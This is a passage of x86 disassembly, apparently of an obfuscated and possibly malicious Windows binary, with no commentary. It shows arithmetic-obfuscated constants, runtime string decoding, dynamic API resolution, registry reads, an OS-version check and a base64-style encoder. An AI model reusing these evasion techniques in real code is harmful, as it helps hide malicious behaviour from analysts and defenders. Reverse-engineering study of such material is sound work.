		mov	eax, dword_551224
		dec	eax
		cmp	ecx, eax
		jge	short loc_4424A0
		xor	eax, eax
		inc	eax


loc_4424CB:				; CODE XREF: sub_442478+34j
					; sub_442478+43j
		pop	esi
		pop	ebx
		retn
sub_442478	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_4424CE	proc near		; CODE XREF: sub_440A1B+27Ap

arg_0		= dword	ptr  8
arg_4		= dword	ptr  0Ch
arg_8		= dword	ptr  10h
arg_C		= dword	ptr  14h

		push	ebp
		mov	ebp, esp
		push	ebx
		push	esi
		push	edi
		mov	esi, [ebp+arg_8]
		mov	ebx, [ebp+arg_C]
		xor	edi, edi
		jmp	short loc_4424FF
; ---------------------------------------------------------------------------


loc_4424DE:				; CODE XREF: sub_4424CE+37j
		mov	edx, ds:dword_44B9E0[edi*4]
		mov	ds:dword_448008, edx
		push	offset sub_43F41A
		push	ebx
		push	esi
		push	[ebp+arg_4]
		push	[ebp+arg_0]
		call	ds:dword_448008
		inc	edi


loc_4424FF:				; CODE XREF: sub_4424CE+Ej
		cmp	edi, dword_5512A4
		jb	short loc_4424DE
		pop	edi
		pop	esi
		pop	ebx
		pop	ebp
		retn
sub_4424CE	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_44250C	proc near		; CODE XREF: sub_44726D+1E1p
					; sub_44726D+204p ...

var_4B		= byte ptr -4Bh
var_19		= byte ptr -19h
var_18		= dword	ptr -18h
var_14		= dword	ptr -14h
var_10		= dword	ptr -10h
var_C		= dword	ptr -0Ch
var_8		= dword	ptr -8
var_4		= dword	ptr -4
arg_0		= dword	ptr  8
arg_4		= dword	ptr  0Ch
arg_8		= dword	ptr  10h
arg_C		= dword	ptr  14h
arg_10		= byte ptr  18h

		push	ebp
		mov	ebp, esp
		sub	esp, 4Ch
		push	ebx
		push	esi
		push	edi
		call	ds:dword_54EA70
		mov	[ebp+var_4], eax
		mov	ebx, [ebp+arg_0]
		mov	esi, dword_5510B8
		sub	esi, 4
		jmp	short loc_442578
; ---------------------------------------------------------------------------


loc_44252C:				; CODE XREF: sub_44250C+7Ej
		mov	edx, dword_5511EC
		sub	edx, 3
		cmp	ds:dword_44A0E0[esi*4],	edx
		jz	short loc_442577
		mov	edx, ds:dword_4CD950[esi*4]
		mov	ecx, dword_5510D8
		add	ecx, 0EA5Ah
		mov	eax, dword_5510A0
		add	eax, dword_551158
		dec	eax
		imul	ecx, eax
		add	edx, ecx
		cmp	edx, [ebp+var_4]
		jnb	short loc_442577
		mov	edx, dword_5511B0
		sub	edx, 7
		mov	ds:dword_44A0E0[esi*4],	edx


loc_442577:				; CODE XREF: sub_44250C+30j
					; sub_44250C+59j
		inc	esi


loc_442578:				; CODE XREF: sub_44250C+1Ej
		mov	eax, dword_5511D0
		add	eax, 3E0h
		add	eax, dword_5510EC
		cmp	esi, eax
		jb	short loc_44252C


loc_44258C:				; CODE XREF: sub_44250C+A3j
					; sub_44250C+256j
		mov	eax, [ebx]
		mov	[ebp+var_10], eax
		lea	ebx, [ebx+eax]
		mov	eax, ebx
		sub	eax, [ebp+arg_0]
		cmp	eax, [ebp+arg_4]
		jnb	loc_442768
		movsx	eax, word_551164
		add	eax, 3
		cmp	[ebp+var_10], eax
		ja	short loc_44258C
		mov	eax, ebx
		sub	eax, [ebp+arg_0]
		mov	edx, dword_551158
		add	edx, dword_551124
		dec	edx
		sub	eax, edx
		mov	[ebp+var_8], eax
		mov	ecx, ebx
		or	eax, 0FFFFFFFFh


loc_4425CD:				; CODE XREF: sub_44250C+C6j
		inc	eax
		cmp	byte ptr [ecx+eax], 0
		jnz	short loc_4425CD
		mov	[ebp+var_C], eax
		mov	eax, dword_551248
		mov	edi, eax
		add	edi, dword_5510AC
		sub	edi, 0Bh
		jmp	short loc_44261E
; ---------------------------------------------------------------------------


loc_4425E9:				; CODE XREF: sub_44250C+11Ej
		mov	edx, dword_5511EC
		add	edx, dword_5510A4
		sub	edx, 0Ah
		cmp	ds:dword_44A0E0[edi*4],	edx
		jz	short loc_44261D
		mov	edx, [ebp+var_8]
		cmp	ds:dword_449020[edi*4],	edx
		jnz	short loc_44261D
		mov	dl, ds:byte_44B1B0[edi]
		cmp	dl, [ebp+arg_10]
		jz	loc_44274D


loc_44261D:				; CODE XREF: sub_44250C+F3j
					; sub_44250C+FFj
		inc	edi


loc_44261E:				; CODE XREF: sub_44250C+DBj
		mov	eax, dword_55120C
		add	eax, 3E4h
		cmp	edi, eax
		jb	short loc_4425E9
		mov	eax, dword_551188
		add	eax, 3BBh
		cmp	[ebp+var_C], eax
		jbe	loc_4426F7
		mov	eax, dword_551120
		inc	eax
		add	eax, dword_5511BC
		push	eax
		lea	eax, [ebp+var_4B]
		push	eax
		call	sub_43EDF9
		add	esp, 8
		mov	eax, dword_5511BC
		add	eax, 3B2h
		movsx	edx, word_5511C4
		add	eax, edx
		mov	[ebp+var_14], eax
		mov	eax, dword_55122C
		sub	eax, 7
		mov	[ebp+var_18], eax


loc_442679:				; CODE XREF: sub_44250C+1E9j
		mov	eax, [ebp+var_14]
		mov	al, [ebx+eax]
		mov	[ebp+var_19], al
		mov	eax, [ebp+var_14]
		movsx	edx, word_5511C4
		add	edx, dword_5511F4
		sub	edx, 11h
		mov	[ebx+eax], dl
		push	offset dword_449FE0
		push	[ebp+var_C]
		push	[ebp+var_18]
		lea	eax, [ebp+var_4B]
		push	eax
		mov	eax, [ebp+arg_C]
		push	dword ptr [eax]
		push	[ebp+arg_0]
		push	ebx
		push	[ebp+arg_8]
		movsx	eax, word_551208
		dec	eax
		and	eax, 0FFh
		push	eax
		call	sub_442B82
		add	esp, 24h
		mov	eax, [ebp+var_14]
		mov	[ebp+var_18], eax
		mov	dl, [ebp+var_19]
		mov	[ebx+eax], dl
		mov	eax, dword_551230
		add	eax, 3BFh
		add	[ebp+var_14], eax
		mov	eax, [ebp+var_C]
		cmp	[ebp+var_14], eax
		jbe	short loc_4426ED
		mov	[ebp+var_14], eax


loc_4426ED:				; CODE XREF: sub_44250C+1DCj
		mov	eax, [ebp+var_C]
		cmp	[ebp+var_18], eax
		jnb	short loc_442748
		jmp	short loc_442679
; ---------------------------------------------------------------------------


loc_4426F7:				; CODE XREF: sub_44250C+12Dj
		push	offset byte_551CA7
		call	sub_43CAF7
		push	offset dword_449FE0
		push	[ebp+var_C]
		movsx	edx, word_5511A4
		movsx	ecx, word_551198
		add	edx, ecx
		sub	edx, 7
		push	edx
		push	eax
		mov	edx, [ebp+arg_C]
		push	dword ptr [edx]
		push	[ebp+arg_0]
		push	ebx
		push	[ebp+arg_8]
		mov	edx, dword_5510A0
		add	edx, dword_551114
		sub	edx, 4
		and	edx, 0FFh
		push	edx
		call	sub_442B82
		add	esp, 28h


loc_442748:				; CODE XREF: sub_44250C+1E7j
		mov	eax, [ebp+arg_C]
		inc	dword ptr [eax]


loc_44274D:				; CODE XREF: sub_44250C+10Bj
		mov	eax, [ebp+var_C]
		lea	ebx, [ebx+eax]
		inc	ebx
		mov	eax, [ebp+arg_C]
		mov	edx, dword_551228
		add	edx, 0Ch
		cmp	[eax], edx
		jbe	loc_44258C


loc_442768:				; CODE XREF: sub_44250C+90j
		push	offset byte_551CA3
		call	sub_43CAF7
		push	offset dword_449FE0
		mov	edx, dword_5511D8
		movsx	ecx, word_5510D0
		add	edx, ecx
		sub	edx, 0Ah
		push	edx
		movsx	edx, word_55113C
		sub	edx, 9
		push	edx
		push	eax
		push	edx
		movsx	edx, word_5511A4
		sub	edx, 6
		push	edx
		movsx	edx, word_551118
		sub	edx, 8
		push	edx
		push	[ebp+arg_8]
		mov	edx, dword_5511E0
		add	edx, dword_5511E4
		sub	edx, 7
		and	edx, 0FFh
		push	edx
		call	sub_442B82
		add	esp, 28h
		pop	edi
		pop	esi
		pop	ebx
		leave
		retn
sub_44250C	endp


; =============== S U B	R O U T	I N E =======================================



sub_4427D3	proc near		; CODE XREF: sub_446ED7+25p
		push	edi
		push	offset word_551C96
		call	sub_43CAF7
		pop	ecx
		push	eax
		call	ds:dword_44B598
		mov	dword_551264, eax
		mov	eax, dword_5511B8
		add	eax, dword_551204
		sub	eax, 6
		cmp	dword_551264, eax
		jnz	short loc_442818
		push	offset byte_551C89
		call	sub_43CAF7
		pop	ecx
		push	eax
		call	ds:dword_48C218
		mov	dword_551264, eax


loc_442818:				; CODE XREF: sub_4427D3+2Cj
		push	offset byte_551C77
		call	sub_43CAF7
		push	eax
		push	dword_551264
		call	ds:dword_44B1AC
		mov	ds:dword_44B08C, eax
		push	offset byte_551C67
		call	sub_43CAF7
		push	eax
		push	dword_551264
		call	ds:dword_44B1AC
		mov	ds:dword_44B084, eax
		push	offset dword_551C54
		call	sub_43CAF7
		push	eax
		push	dword_551264
		call	ds:dword_44B1AC
		mov	ds:dword_550048, eax
		push	offset dword_551C40
		call	sub_43CAF7
		push	eax
		push	dword_551264
		call	ds:dword_44B1AC
		mov	ds:dword_44B5D4, eax
		push	offset byte_551C31
		call	sub_43CAF7
		push	eax
		push	dword_551264
		call	ds:dword_44B1AC
		mov	ds:dword_50E93C, eax
		push	offset dword_551C20
		call	sub_43CAF7
		add	esp, 18h
		push	eax
		push	dword_551264
		call	ds:dword_44B1AC
		mov	ds:dword_48C1EC, eax
		pop	edi
		retn
sub_4427D3	endp


; =============== S U B	R O U T	I N E =======================================



sub_4428C5	proc near		; CODE XREF: sub_446ED7+2Ap
		push	edi
		push	offset word_551C12
		call	sub_43CAF7
		pop	ecx
		push	eax
		call	ds:dword_44B598
		mov	dword_55125C, eax
		movsx	eax, word_5511C4
		sub	eax, 8
		cmp	dword_55125C, eax
		jnz	short loc_442906
		push	offset dword_551C04
		call	sub_43CAF7
		pop	ecx
		push	eax
		call	ds:dword_48C218
		mov	dword_55125C, eax


loc_442906:				; CODE XREF: sub_4428C5+28j
		push	offset word_551BF2
		call	sub_43CAF7
		push	eax
		call	sub_445A0A
		mov	ds:dword_44B5C8, eax
		push	offset dword_551BE0
		call	sub_43CAF7
		push	eax
		call	sub_445A0A
		mov	ds:dword_4CE914, eax
		push	offset byte_551BC9
		call	sub_43CAF7
		push	eax
		call	sub_445A0A
		mov	ds:dword_44B5A4, eax
		push	offset word_551BB6
		call	sub_43CAF7
		push	eax
		call	sub_445A0A
		mov	ds:dword_4CD93C, eax
		push	offset byte_551BA5
		call	sub_43CAF7
		push	eax
		call	sub_445A0A
		mov	ds:dword_50E930, eax
		push	offset asc_551B97 ; "\n"
		call	sub_43CAF7
		push	eax
		call	sub_445A0A
		mov	ds:dword_54E958, eax
		push	offset byte_551B85
		call	sub_43CAF7
		push	eax
		call	sub_445A0A
		mov	ds:dword_44B090, eax
		push	offset asc_551B79 ; "\b"
		call	sub_43CAF7
		push	eax
		call	sub_445A0A
		mov	ds:dword_48B9FC, eax
		push	offset asc_551B6D ; "\b"
		call	sub_43CAF7
		push	eax
		call	sub_445A0A
		mov	ds:dword_4CE8F4, eax
		push	offset byte_551B59
		call	sub_43CAF7
		push	eax
		call	sub_445A0A
		mov	ds:dword_54EB00, eax
		push	offset byte_551B49
		call	sub_43CAF7
		push	eax
		call	sub_445A0A
		mov	ds:dword_448018, eax
		push	offset byte_551B37
		call	sub_43CAF7
		push	eax
		call	sub_445A0A
		mov	ds:dword_44B5AC, eax
		push	offset word_551B26
		call	sub_43CAF7
		push	eax
		call	sub_445A0A
		mov	ds:dword_449FD0, eax
		push	offset dword_551B14
		call	sub_43CAF7
		push	eax
		call	sub_445A0A
		mov	ds:dword_54FF38, eax
		push	offset byte_551B01
		call	sub_43CAF7
		push	eax
		call	sub_445A0A
		mov	ds:dword_4CE8F8, eax
		push	offset dword_551AF0
		call	sub_43CAF7
		push	eax
		call	sub_445A0A
		mov	ds:dword_54E950, eax
		push	offset byte_551AE3
		call	sub_43CAF7
		push	eax
		call	sub_445A0A
		mov	ds:dword_448004, eax
		push	offset dword_551AD4
		call	sub_43CAF7
		push	eax
		call	sub_445A0A
		mov	ds:dword_4CC548, eax
		push	offset dword_551AC0
		call	sub_43CAF7
		push	eax
		call	sub_445A0A
		mov	ds:dword_449018, eax
		push	(offset	asc_551AB0+2)
		call	sub_43CAF7
		push	eax
		call	sub_445A0A
		mov	ds:dword_449000, eax
		push	offset dword_551A9C
		call	sub_43CAF7
		push	eax
		call	sub_445A0A
		mov	ds:dword_449010, eax
		push	offset word_551A8A
		call	sub_43CAF7
		push	eax
		call	sub_445A0A
		mov	ds:dword_54E954, eax
		push	offset byte_551A79
		call	sub_43CAF7
		push	eax
		call	sub_445A0A
		mov	ds:dword_48C1E8, eax
		push	offset word_551A6A
		call	sub_43CAF7
		push	eax
		call	sub_445A0A
		add	esp, 0C0h
		mov	ds:dword_50E938, eax
		pop	edi
		retn
sub_4428C5	endp


; =============== S U B	R O U T	I N E =======================================



sub_442B06	proc near		; CODE XREF: sub_446ED7+302p
		push	2
		call	sub_443DB2
		push	0
		call	sub_443DB2
		add	esp, 8
		retn
sub_442B06	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_442B18	proc near		; CODE XREF: sub_44181A+79p
					; sub_44181A+197p ...

var_4		= dword	ptr -4
arg_0		= dword	ptr  8
arg_4		= dword	ptr  0Ch
arg_8		= dword	ptr  10h
arg_C		= dword	ptr  14h
arg_10		= dword	ptr  18h
arg_14		= dword	ptr  1Ch

		push	ebp
		mov	ebp, esp
		push	ecx
		push	edi
		lea	eax, [ebp+var_4]
		push	eax
		push	20019h
		movsx	eax, word_5510CC
		dec	eax
		push	eax
		push	[ebp+arg_4]
		push	[ebp+arg_0]
		call	ds:dword_44B59C
		mov	edi, eax
		or	edi, edi
		jz	short loc_442B45
		xor	eax, eax
		jmp	short loc_442B7F
; ---------------------------------------------------------------------------


loc_442B45:				; CODE XREF: sub_442B18+27j
		push	[ebp+arg_10]
		push	[ebp+arg_C]
		push	[ebp+arg_14]
		mov	eax, dword_5510E4
		add	eax, dword_5511B0
		sub	eax, 0Ch
		push	eax
		push	[ebp+arg_8]
		push	[ebp+var_4]
		call	ds:dword_44804C
		mov	edi, eax
		push	[ebp+var_4]
		call	ds:dword_4CE904
		or	edi, edi
		jz	short loc_442B7C
		xor	eax, eax
		jmp	short loc_442B7F
; ---------------------------------------------------------------------------


loc_442B7C:				; CODE XREF: sub_442B18+5Ej
		xor	eax, eax
		inc	eax


loc_442B7F:				; CODE XREF: sub_442B18+2Bj
					; sub_442B18+62j
		pop	edi
		leave
		retn
sub_442B18	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_442B82	proc near		; CODE XREF: sub_43E284+CAp
					; sub_44250C+1B5p ...

var_2F038	= dword	ptr -2F038h
var_2F033	= byte ptr -2F033h
var_F034	= dword	ptr -0F034h
var_F030	= dword	ptr -0F030h
var_F02B	= byte ptr -0F02Bh
var_F02A	= dword	ptr -0F02Ah
var_F022	= byte ptr -0F022h
var_EF23	= byte ptr -0EF23h
var_EE24	= byte ptr -0EE24h
arg_0		= byte ptr  8
arg_4		= dword	ptr  0Ch
arg_8		= dword	ptr  10h
arg_C		= dword	ptr  14h
arg_10		= dword	ptr  18h
arg_14		= dword	ptr  1Ch
arg_18		= dword	ptr  20h
arg_1C		= dword	ptr  24h
arg_20		= dword	ptr  28h

		push	ebp
		mov	ebp, esp
		mov	eax, 2F038h
		call	sub_4475B4
		push	ebx
		push	esi
		push	edi
		movsx	edi, word_551164
		imul	edi, 3C0h
		movsx	esi, word_5510C4
		add	esi, 0EA5Ah
		lea	edi, [edi+esi+3C0h]
		shl	edi, 1
		mov	[ebp+var_2F038], edi
		push	edi
		call	sub_447539
		add	esp, 4
		mov	[ebp+var_F02A],	eax
		movzx	eax, [ebp+arg_0]
		movsx	edx, word_5511CC
		add	edx, dword_5511EC
		sub	edx, 0Bh
		cmp	eax, edx
		jnz	short loc_442C05
		push	offset asc_551A5F ; "\a"
		call	sub_43CAF7
		add	esp, 4
		push	eax
		lea	edi, [ebp+var_EE24]
		push	edi
		call	ds:dword_50E928
		add	esp, 8
		jmp	loc_442DD8
; ---------------------------------------------------------------------------


loc_442C05:				; CODE XREF: sub_442B82+5Ej
		call	ds:dword_48C1F0
		mov	ebx, eax
		mov	[ebp+var_F02B],	bl
		push	offset byte_551A3D
		call	sub_43CAF7
		add	esp, 4
		push	eax
		lea	edi, [ebp+var_EF23]
		push	edi
		call	ds:dword_44B1A4
		add	esp, 8
		movzx	eax, [ebp+arg_0]
		movsx	edx, word_551148
		add	edx, dword_55116C
		sub	edx, 4
		cmp	eax, edx
		jnz	short loc_442CA6
		movsx	eax, word_551194
		mov	edx, dword_5510C0
		lea	eax, [eax+edx+4]
		and	eax, 0FFh
		push	eax
		lea	eax, [ebp+var_F022]
		push	eax
		push	[ebp+arg_8]
		call	sub_443795
		add	esp, 0Ch
		push	offset byte_551A29
		call	sub_43CAF7
		add	esp, 4
		movzx	edi, [ebp+var_F02B]
		push	edi
		lea	edi, [ebp+var_F022]
		push	edi
		lea	edi, [ebp+var_EF23]
		push	edi
		push	eax
		lea	edi, [ebp+var_EE24]
		push	edi
		call	ds:dword_50E928
		add	esp, 14h


loc_442CA6:				; CODE XREF: sub_442B82+C5j
		movzx	eax, [ebp+arg_0]
		movsx	edx, word_5510B4
		add	edx, dword_551124
		sub	edx, 7
		cmp	eax, edx
		jnz	loc_442DD8
		movsx	eax, word_5511A4
		movsx	edx, word_5510F8
		add	eax, edx
		sub	eax, 0Bh
		and	eax, 0FFh
		push	eax
		lea	eax, [ebp+var_F022]
		push	eax
		push	dword_5512C4
		call	sub_443795
		add	esp, 0Ch
		push	offset word_5519E2
		call	sub_43CAF7
		add	esp, 4
		mov	edi, [ebp+arg_18]
		mov	esi, [ebp+arg_8]
		mov	ebx, edi
		add	ebx, esi
		push	ebx
		movsx	ebx, word_551148
		mov	edx, dword_551134
		lea	ebx, [ebx+edx+3]
		push	ebx
		push	[ebp+arg_1C]
		push	edi
		push	[ebp+arg_14]
		movzx	edi, [ebp+var_F02B]
		push	edi
		mov	edi, esi
		sub	edi, [ebp+arg_C]
		movsx	esi, word_55113C
		add	esi, dword_5511B8
		sub	esi, 9
		sub	edi, esi
		push	edi
		push	offset dword_48C200
		push	[ebp+arg_10]
		push	[ebp+arg_20]
		lea	edi, [ebp+var_F022]
		push	edi
		lea	edi, [ebp+var_EF23]
		push	edi
		push	eax
		lea	edi, [ebp+var_EE24]
		push	edi
		call	ds:dword_50E928
		add	esp, 38h
		mov	eax, dword_551224
		cmp	[ebp+arg_10], eax
		jnz	short loc_442DD8
		dec	eax
		cmp	[ebp+arg_18], eax
		jnz	short loc_442DD8
		push	offset word_5519BE
		call	sub_43CAF7
		add	esp, 4
		push	offset byte_54EB10
		movsx	edi, word_551104
		mov	esi, dword_551114
		lea	edi, [edi+esi+5]
		push	edi
		push	[ebp+arg_20]
		lea	edi, [ebp+var_F022]
		push	edi
		lea	edi, [ebp+var_EF23]
		push	edi
		push	eax
		lea	edi, [ebp+var_2F033]
		push	edi
		call	ds:dword_50E928
		add	esp, 1Ch
		lea	eax, [ebp+var_2F033]
		push	eax
		lea	eax, [ebp+var_EE24]
		push	eax
		call	ds:dword_44802C
		add	esp, 8


loc_442DD8:				; CODE XREF: sub_442B82+7Ej
					; sub_442B82+13Aj ...
		push	[ebp+var_2F038]
		push	[ebp+var_F02A]
		movsx	eax, word_5511CC
		add	eax, dword_5510E4
		sub	eax, 0Dh
		neg	eax
		push	eax
		lea	eax, [ebp+var_EE24]
		push	eax
		movsx	eax, word_551244
		sub	eax, 7
		push	eax
		push	0
		call	ds:dword_50E934
		push	offset asc_5519A4 ; "\t"
		call	sub_43FEC5
		add	esp, 4
		push	eax
		call	ds:dword_44900C
		mov	[ebp+var_F030],	eax
		push	[ebp+var_F02A]
		call	ds:dword_44900C
		mov	[ebp+var_F034],	eax
		push	eax
		push	[ebp+var_F030]
		mov	eax, [ebp+arg_4]
		push	eax
		mov	ebx, [eax]
		call	dword ptr [ebx+104h]
		push	[ebp+var_F030]
		call	ds:dword_54FF34
		push	[ebp+var_F034]
		call	ds:dword_54FF34
		lea	esp, [ebp-2F044h]
		pop	edi
		pop	esi
		pop	ebx
		leave
		retn
sub_442B82	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_442E73	proc near		; CODE XREF: sub_43F41A+B4p

var_7		= byte ptr -7
var_4		= dword	ptr -4
arg_0		= dword	ptr  8
arg_4		= dword	ptr  0Ch
arg_8		= dword	ptr  10h
arg_C		= dword	ptr  14h

		push	ebp
		mov	ebp, esp
		push	ecx
		push	eax
		push	ebx
		push	esi
		push	edi
		mov	ebx, [ebp+arg_4]
		mov	esi, [ebp+arg_8]
		mov	eax, ebx
		add	eax, 2
		mov	ecx, 3
		mov	edx, 0AAAAAAABh
		mul	edx
		shr	edx, 1
		mov	[ebp+var_4], edx
		mov	edi, edx
		shl	edi, 2
		mov	edx, [ebp+arg_C]
		dec	edx
		cmp	edi, edx
		jbe	short loc_442EAB
		xor	eax, eax
		jmp	loc_442FAB
; ---------------------------------------------------------------------------


loc_442EAB:				; CODE XREF: sub_442E73+2Fj
		push	offset a@	; "@"
		call	sub_43CAF7
		pop	ecx
		push	eax
		push	offset byte_54FF40
		call	sub_4475D4
		jmp	short loc_442EF8
; ---------------------------------------------------------------------------


loc_442EC3:				; CODE XREF: sub_442E73+98j
		push	esi
		push	[ebp+arg_0]
		call	sub_43F98E
		add	esp, 8
		mov	eax, dword_5510C0
		inc	eax
		sub	ebx, eax
		movsx	eax, word_5511F0
		sub	eax, 3
		add	eax, [ebp+arg_0]
		mov	[ebp+arg_0], eax
		mov	eax, dword_5511B8
		add	eax, dword_5511D4
		sub	eax, 8
		lea	esi, [esi+eax]


loc_442EF8:				; CODE XREF: sub_442E73+4Ej
		mov	eax, dword_5510B0
		movsx	edx, word_551210
		add	eax, edx
		sub	eax, 7
		cmp	ebx, eax
		jnb	short loc_442EC3
		mov	eax, dword_5511AC
		sub	eax, 2
		cmp	ebx, eax
		jbe	short loc_442F91
		push	3
		mov	eax, dword_5511B4
		sub	eax, 4
		push	eax
		lea	eax, [ebp+var_7]
		push	eax
		call	ds:dword_4CD934
		push	ebx
		push	[ebp+arg_0]
		lea	eax, [ebp+var_7]
		push	eax
		call	ds:dword_4CD814
		push	esi
		lea	eax, [ebp+var_7]
		push	eax
		call	sub_43F98E
		add	esp, 20h
		movsx	eax, word_551164
		movsx	edx, word_55109C
		add	eax, edx
		sub	eax, 6
		cmp	ebx, eax
		jnz	short loc_442F74
		movsx	eax, word_5510F8
		add	eax, dword_551124
		sub	eax, 5
		mov	byte ptr [esi+eax], 3Dh


loc_442F74:				; CODE XREF: sub_442E73+EBj
		mov	eax, dword_5511BC
		add	eax, dword_5510C0
		sub	eax, 5
		mov	byte ptr [esi+eax], 3Dh
		movsx	eax, word_551148
		lea	esi, [eax+esi+3]


loc_442F91:				; CODE XREF: sub_442E73+A4j
		movsx	eax, word_551240
		sub	eax, 8
		movsx	edx, word_551210
		sub	edx, 5
		mov	[esi+eax], dl
		xor	eax, eax
		inc	eax


loc_442FAB:				; CODE XREF: sub_442E73+33j
		pop	edi
		pop	esi
		pop	ebx
		leave
		retn
sub_442E73	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_442FB0	proc near		; CODE XREF: sub_446ED7+3Ep

var_20C		= dword	ptr -20Ch
var_208		= dword	ptr -208h
var_204		= dword	ptr -204h
var_1FE		= byte ptr -1FEh
var_10F		= byte ptr -10Fh
var_FF		= byte ptr -0FFh

		push	ebp
		mov	ebp, esp
		sub	esp, 20Ch
		push	ebx
		push	esi
		push	edi
		call	sub_44322A
		or	eax, eax
		jz	loc_443202
		mov	[ebp+var_204], 0FFh
		lea	eax, [ebp+var_204]
		push	eax
		lea	eax, [ebp+var_FF]
		push	eax
		call	ds:dword_44B5A0
		mov	eax, dword_551108
		add	eax, dword_551234
		movsx	eax, [ebp+eax+var_10F]
		mov	edx, dword_55119C
		sub	edx, 4
		cmp	eax, edx
		jnz	short loc_44300F
		xor	eax, eax
		inc	eax
		jmp	loc_443202
; ---------------------------------------------------------------------------


loc_44300F:				; CODE XREF: sub_442FB0+55j
		push	offset byte_551951
		call	sub_43CAF7
		movsx	edx, word_551138
		sub	edx, 2
		push	edx
		push	eax
		lea	edx, [ebp+var_FF]
		push	edx
		call	sub_43FE22
		add	esp, 10h
		mov	edx, eax
		movsx	ecx, word_5510C4
		mov	eax, dword_55112C
		lea	ecx, [ecx+eax+0FFF1h]
		cmp	edx, ecx
		jz	short loc_443055
		xor	eax, eax
		inc	eax
		jmp	loc_443202
; ---------------------------------------------------------------------------


loc_443055:				; CODE XREF: sub_442FB0+9Bj
		push	offset byte_551947
		call	sub_43CAF7
		mov	edx, dword_551228
		sub	edx, 7
		push	edx
		push	eax
		lea	edx, [ebp+var_FF]
		push	edx
		call	sub_43FE22
		add	esp, 10h
		mov	ecx, dword_5511F4
		add	ecx, 0FFF2h
		add	ecx, dword_551170
		cmp	eax, ecx
		jz	short loc_443097
		xor	eax, eax
		inc	eax
		jmp	loc_443202
; ---------------------------------------------------------------------------


loc_443097:				; CODE XREF: sub_442FB0+DDj
		mov	[ebp+var_208], 0FFh
		lea	eax, [ebp+var_208]
		push	eax
		lea	eax, [ebp+var_1FE]
		push	eax
		call	ds:dword_448040
		push	offset word_551942
		call	sub_43CAF7
		push	eax
		lea	edx, [ebp+var_1FE]
		push	edx
		call	ds:dword_44802C
		mov	eax, dword_55119C
		sub	eax, 3
		push	eax
		lea	eax, [ebp+var_FF]
		push	eax
		lea	eax, [ebp+var_1FE]
		push	eax
		call	sub_43FE22
		add	esp, 18h
		mov	edx, dword_55115C
		add	edx, 0FFFBh
		cmp	eax, edx
		jz	short loc_443104
		xor	eax, eax
		inc	eax
		jmp	loc_443202
; ---------------------------------------------------------------------------


loc_443104:				; CODE XREF: sub_442FB0+14Aj
		call	ds:dword_4CE918
		mov	esi, eax
		xor	ebx, ebx
		mov	edi, esi


loc_443110:				; CODE XREF: sub_442FB0+23Bj
		movsx	eax, word_5510B4
		add	eax, dword_551090
		sub	eax, 9
		movzx	eax, byte ptr [edi+eax]
		movsx	edx, word_5511C4
		movsx	ecx, word_551164
		add	edx, ecx
		sub	edx, 9
		cmp	eax, edx
		jz	loc_4431F0
		mov	ecx, edi
		or	eax, 0FFFFFFFFh


loc_443144:				; CODE XREF: sub_442FB0+199j
		inc	eax
		cmp	byte ptr [ecx+eax], 0
		jnz	short loc_443144
		mov	[ebp+var_20C], eax
		push	offset dword_551938
		call	sub_43CAF7
		add	esp, 4
		mov	edx, dword_5510DC
		add	edx, dword_55112C
		sub	edx, 0Bh
		push	edx
		push	eax
		push	edi
		call	sub_43FE22
		add	esp, 0Ch
		mov	ecx, dword_551200
		add	ecx, 0FFFAh
		cmp	eax, ecx
		jz	short loc_44318F
		mov	ebx, 1
		jmp	short loc_4431F0
; ---------------------------------------------------------------------------


loc_44318F:				; CODE XREF: sub_442FB0+1D6j
		push	offset asc_551927 ; "\r"
		call	sub_43CAF7
		movsx	edx, word_551104
		inc	edx
		push	edx
		push	eax
		push	edi
		call	sub_43FE22
		add	esp, 10h
		mov	edx, eax
		mov	ecx, dword_5510B0
		add	ecx, 0FFF3h
		movsx	eax, word_5511E8
		add	ecx, eax
		cmp	edx, ecx
		jz	short loc_4431CC
		xor	ebx, ebx
		inc	ebx
		jmp	short loc_4431F0
; ---------------------------------------------------------------------------


loc_4431CC:				; CODE XREF: sub_442FB0+215j
		movsx	eax, word_551208
		movsx	edx, word_551240
		add	eax, edx
		sub	eax, 8
		mov	edx, [ebp+var_20C]
		add	edx, edi
		mov	edi, eax
		add	edi, edx
		jmp	loc_443110
; ---------------------------------------------------------------------------


loc_4431F0:				; CODE XREF: sub_442FB0+189j
					; sub_442FB0+1DDj ...
		push	esi
		call	ds:dword_4CD944
		or	ebx, ebx
		jz	short loc_443200
		xor	eax, eax
		inc	eax
		jmp	short loc_443202
; ---------------------------------------------------------------------------


loc_443200:				; CODE XREF: sub_442FB0+249j
		xor	eax, eax


loc_443202:				; CODE XREF: sub_442FB0+13j
					; sub_442FB0+5Aj ...
		pop	edi
		pop	esi
		pop	ebx
		leave
		retn
sub_442FB0	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_443207	proc near		; DATA XREF: sub_43DE1F+Bo

arg_4		= dword	ptr  0Ch
arg_8		= dword	ptr  10h

		push	ebp
		mov	ebp, esp
		pusha
		mov	esi, [ebp+arg_8]
		mov	eax, offset sub_43E266
		mov	[esi+0B8h], eax
		mov	eax, [ebp+arg_4]
		mov	[esi+0C4h], eax
		popa
		mov	esp, ebp
		pop	ebp
		xor	eax, eax
		retn
sub_443207	endp

; ---------------------------------------------------------------------------
		retn

; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_44322A	proc near		; CODE XREF: sub_43FA48+9p
					; sub_440CD2+11p ...

var_94		= dword	ptr -94h
var_84		= dword	ptr -84h

		push	ebp
		mov	ebp, esp
		sub	esp, 94h
		cmp	dword_551284, 0
		jz	short loc_443241
		xor	eax, eax
		inc	eax
		jmp	short locret_443270
; ---------------------------------------------------------------------------


loc_443241:				; CODE XREF: sub_44322A+10j
		mov	[ebp+var_94], 94h
		lea	eax, [ebp+var_94]
		push	eax
		call	ds:dword_54FF28
		cmp	[ebp+var_84], 2
		jnz	short loc_44326B
		mov	dword_551284, 1


loc_44326B:				; CODE XREF: sub_44322A+35j
		mov	eax, dword_551284

locret_443270:				; CODE XREF: sub_44322A+15j
		leave
		retn
sub_44322A	endp


; =============== S U B	R O U T	I N E =======================================



